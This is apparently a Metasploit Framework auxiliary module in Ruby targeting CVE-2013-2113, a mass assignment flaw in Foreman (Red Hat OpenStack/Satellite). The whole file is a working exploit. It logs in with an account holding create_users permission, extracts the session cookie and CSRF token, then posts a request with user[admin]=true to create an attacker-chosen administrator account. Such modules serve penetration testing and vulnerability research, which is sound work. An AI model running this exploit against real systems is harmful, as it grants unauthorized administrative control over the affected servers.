##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient

  def initialize
    super(
      'Name'           => 'Foreman (Red Hat OpenStack/Satellite) users/create Mass Assignment',
      'Description'    => %q{
          This module exploits a mass assignment vulnerability in the 'create'
        action of 'users' controller of Foreman and Red Hat OpenStack/Satellite
        (Foreman 1.2.0-RC1 and earlier) by creating an arbitrary administrator
        account. For this exploit to work, your account must have 'create_users'
        permission (e.g., Manager role).
      },
      'Author'         => 'Ramon de C Valle',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['BID', '60835'],
          ['CVE', '2013-2113'],
          ['CWE', '915'],
          ['OSVDB', '94655'],
          ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=966804'],
          ['URL', 'http://projects.theforeman.org/issues/2630']
        ],
      'DisclosureDate' => 'Jun 6 2013'
    )

    register_options(
      [
        Opt::RPORT(443),
        OptBool.new('SSL', [true, 'Use SSL', true]),
        OptString.new('USERNAME', [true, 'Your username']),
        OptString.new('PASSWORD', [true, 'Your password']),
        OptString.new('NEWUSERNAME', [true, 'The username of the new admin account']),
        OptString.new('NEWPASSWORD', [true, 'The password of the new admin account']),
        OptString.new('NEWEMAIL', [true, 'The email of the new admin account']),
        OptString.new('TARGETURI', [ true, 'The path to the application', '/']),
      ], self.class
    )
  end

  def run
    print_status("Logging into #{target_url}...")
    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'users', 'login'),
      'vars_post' => {
        'login[login]'    => datastore['USERNAME'],
        'login[password]' => datastore['PASSWORD']
      }
    )

    if res.nil?
      print_error('No response from remote host')
      return
    end

    if res.headers['Location'] =~ /users\/login$/
      print_error('Authentication failed')
      return
    else
      session = $1 if res.headers['Set-Cookie'] =~ /_session_id=([0-9a-f]*)/

      if session.nil?
        print_error('Failed to retrieve the current session id')
        return
      end
    end

    print_status('Retrieving the CSRF token for this session...')
    res = send_request_cgi(
      'cookie' => "_session_id=#{session}",
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri)
    )

    if res.nil?
      print_error('No response from remote host')
      return
    end

    if res.headers['Location'] =~ /users\/login$/
      print_error('Failed to retrieve the CSRF token')
      return
    else
      csrf_param = $1 if res.body =~ /<meta[ ]+content="(.*)"[ ]+name="csrf-param"[ ]*\/?>/i
      csrf_token = $1 if res.body =~ /<meta[ ]+content="(.*)"[ ]+name="csrf-token"[ ]*\/?>/i

      if csrf_param.nil? || csrf_token.nil?
        csrf_param = $1 if res.body =~ /<meta[ ]+name="csrf-param"[ ]+content="(.*)"[ ]*\/?>/i
        csrf_token = $1 if res.body =~ /<meta[ ]+name="csrf-token"[ ]+content="(.*)"[ ]*\/?>/i
      end

      if csrf_param.nil? || csrf_token.nil?
        print_error('Failed to retrieve the CSRF token')
        return
      end
    end

    print_status("Sending create-user request to #{target_url('users')}...")
    res = send_request_cgi(
      'cookie'    => "_session_id=#{session}",
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'users'),
      'vars_post' => {
        csrf_param                    => csrf_token,
        'user[admin]'                 => 'true',
        'user[auth_source_id]'        => '1',
        'user[login]'                 => datastore['NEWUSERNAME'],
        'user[mail]'                  => datastore['NEWEMAIL'],
        'user[password]'              => datastore['NEWPASSWORD'],
        'user[password_confirmation]' => datastore['NEWPASSWORD']
      }
    )

    if res.nil?
      print_error('No response from remote host')
      return
    end

    if res.headers['Location'] =~ /users$/
      print_good('User created successfully')
    else
      print_error('Failed to create user')
    end
  end

  def target_url(*args)
    (ssl ? 'https' : 'http') +
      if rport.to_i == 80 || rport.to_i == 443
        "://#{vhost}"
      else
        "://#{vhost}:#{rport}"
      end + normalize_uri(target_uri.path, *args)
  end
end